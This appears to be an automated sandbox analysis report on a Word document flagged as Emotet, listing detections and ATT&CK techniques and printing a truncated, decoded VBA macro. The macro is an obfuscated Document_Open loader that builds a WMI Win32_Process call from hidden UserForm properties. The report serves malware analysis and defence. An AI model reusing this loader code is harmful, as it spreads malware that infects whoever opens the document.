MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The macro's obfuscated code likely attempts to download and execute a secondary payload. The ClamAV detection also strongly suggests Emotet.
Heuristics 7
-
ClamAV: Doc.Malware.Emotet-9262473-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9262473-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4847 bytes |
SHA-256: 90f6da167adef9df74809ba6b0f34b16b01ba17e95e693ed751ee8499edd033d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "TGSVIypctfnzehiiz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
RWNCBcqoplulmtk.YKYUKrrqlqhpkv
End Sub
Attribute VB_Name = "RWNCBcqoplulmtk"
Attribute VB_Base = "0{50772BD1-68EC-4015-AC10-E6A4C284CB9D}{84B9A495-B1C4-4851-B750-3D93CCD99F9E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function YKYUKrrqlqhpkv()
Dim bnIC7BXFP As Integer
bnIC7BXFP = Len("k3ßiBgT8Ö")
Dim ql4ÍkHo As Integer
ql4ÍkHo = 1
Do While ql4ÍkHo < 1 + 3
ql4ÍkHo = ql4ÍkHo + 7: DoEvents
Loop
Dim VnTGhD As Integer
VnTGhD = 6
Do While VnTGhD < 6 + 9
VnTGhD = VnTGhD + 6: DoEvents
Loop
AHJIPtsdyhxheqsw = Chr(RWNCBcqoplulmtk.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim EWsakgGped As Integer
EWsakgGped = 1
Do While EWsakgGped < 1 + 4
EWsakgGped = EWsakgGped + 9: DoEvents
Loop
CFFFAdhdqxdt = "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2di7892HJGgghjgJH%789H h&219yhuid2dnm7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dgm7892HJGgghjgJH%789H h&219yhuid2dt7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d" + AHJIPtsdyhxheqsw + "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d:7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2din7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d37892HJGgghjgJH%789H h&219yhuid2d27892HJGgghjgJH%789H h&219yhuid2d_7892HJGgghjgJH%789H h&219yhuid2d" + RWNCBcqoplulmtk.UPDQMmzjzwlex + "7892HJGgghjgJH%789H h&219yhuid2dro7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dce7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2d"
Dim t5àCoPkgj As Integer
t5àCoPkgj = 4
Do While t5àCoPkgj < 4 + 6
t5àCoPkgj = t5àCoPkgj + 7: DoEvents
Loop
VPZHAnsxgmjyxt = UQCWKnlamdfnoryikry(CFFFAdhdqxdt)
Dim pibFblq As String
Set EMBQZbwkmsdhrrddbg = CreateObject(VPZHAnsxgmjyxt)
Dim WGu8ÍyhtN As Integer
WGu8ÍyhtN = Len("OVnLrCFgBv")
GMZYTezrupllwhrqjd = RWNCBcqoplulmtk.TIQFOaochpqvq.ControlTipText
Dim lqrqsHrC As Object
XNZFYyfvtbiewarmad = kljiqbbn2m + (VPZHAnsxgmjyxt + AHJIPtsdyhxheqsw + RWNCBcqoplulmtk.RLDQEtucslpy.ControlTipText + GMZYTezrupllwhrqjd)
Dim Z4Öf As Object
SPIXTybxybkvqmlbqx = XNZFYyfvtbiewarmad + RWNCBcqoplulmtk.UPDQMmzjzwlex
Dim Br1ÚYapZkp As Integer
Br1ÚYapZkp = Len("BoYNMC")
Set KQNFEhzzokiyoktp = CSYAPsfgtqvgk(SPIXTybxybkvqmlbqx)
Dim Q7Ìl8ÉD0Êau As Boolean
pos76 = Array(dccv21s + "nnsk ioqy hhdq hdioqe", EMBQZbwkmsdhrrddbg. _
Create(JHZDLlpejmhemetsqtz, YLXCKiqylfjhehws, KQNFEhzzokiyoktp), vkq37y + "klq whuiqguiq ggqj")
Dim GpnGklo As Integer
GpnGklo = Len("dhL8ÇZ5ß")
End Function
Function CSYAPsfgtqvgk(YVKZUmhsbdcygg)
Set CSYAPsfgtqvgk = CreateObject(YVKZUmhsbdcygg)
Dim TZagwF As Currency
CSYAPsfgtqvgk. _
showwindow = CIBURjuflpzhshjmk + YQWFGpvuqeqksotjfxz + HBDWYtqqtyzuukybw
Dim EWCoPkgjbA As Integer
EWCoPkgjbA = Len("jWG")
End Function
Function UQCWKnlamdfnoryikry(AAEVEjkibfxscxet)
AQFNHlnxnuynlcw = AAEVEjkibfxscxet
Dim moR7ÒWhdDBb As Integer
moR7ÒWhdDBb = 6
Do While moR7ÒWhdDBb < 6 + 5
moR7ÒWhdDBb = moR7ÒWhdDBb + 6: DoEvents
Loop
QXYXRykhwkrv = Split _
(AQFNHlnxnuynlcw, "7892HJGgghjgJH%789H h&219yhuid2d")
Dim aVXl As Integer
aVXl = 7
Do While aVXl < 7 + 5
aVXl = aVXl + 8: DoEvents
Loop
RLYTIzhagazvwplnthi = mmm2 + Join(QXYXRykhwkrv, ooo3)
Dim yeECcb As Integer
yeECcb = Len("rdoJD")
UQCWKnlamdfnoryikry = RLYTIzhagazvwplnthi
Dim GZwfTDr7â As Integer
GZwfTDr7â = 6
Do While GZwfTDr7â < 6 + 5
GZwfTDr7â = GZwfTDr7â + 6: DoEvents
Loop
End Function
Function JHZDLlpejmhemetsqtz()
Dim HC0ËhElyrR As Integer
HC0ËhElyrR = 5
Do While HC0ËhElyrR < 5 + 3
HC0ËhElyrR = HC0ËhElyrR +
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.